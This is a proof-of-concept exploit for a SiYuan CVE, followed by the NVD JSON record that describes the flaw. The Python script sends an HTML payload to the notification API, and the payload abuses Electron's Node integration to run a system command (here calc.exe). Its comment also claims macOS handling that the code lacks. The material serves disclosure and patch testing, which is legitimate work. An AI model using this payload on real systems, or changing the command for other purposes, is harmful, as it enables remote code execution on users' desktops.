CVE-2026-41421

import requests import json # Target URL for the vulnerable SiYuan instance target_url = "http://localhost:6806/api/notification/pushMsg" # Malicious payload leveraging Node.js integration in Electron # This payload attempts to execute 'calc.exe' on Windows or 'open -a Calculator' on macOS payload = "<img src=x onerror=\"require('child_process').exec('calc.exe')\">" data = { "msg": payload } headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, data=json.dumps(data), headers=headers) if response.status_code == 200: print("[+] Payload sent successfully. Check if the calculator pops up.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-41421", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:13.740", "lastModified": "2026-04-27T18:53:00.053", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.6.5, SiYuan desktop renders notification messages as raw HTML inside an Electron renderer. The notification route POST /api/notification/pushMsg accepts a user-controlled msg value, forwards it through the backend broadcast layer, and the frontend inserts it into the DOM with insertAdjacentHTML(...) at message.ts. On desktop builds, this is not limited to ordinary XSS. Electron windows are created with nodeIntegration: true, contextIsolation: false, and webSecurity: false at main.js. As a result, JavaScript executed from the notification sink can directly access Node APIs and escalate to desktop code execution. This vulnerability is fixed in 3.6.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-grjj-6f6g-cq8q", "source": "[email protected]"}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-grjj-6f6g-cq8q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}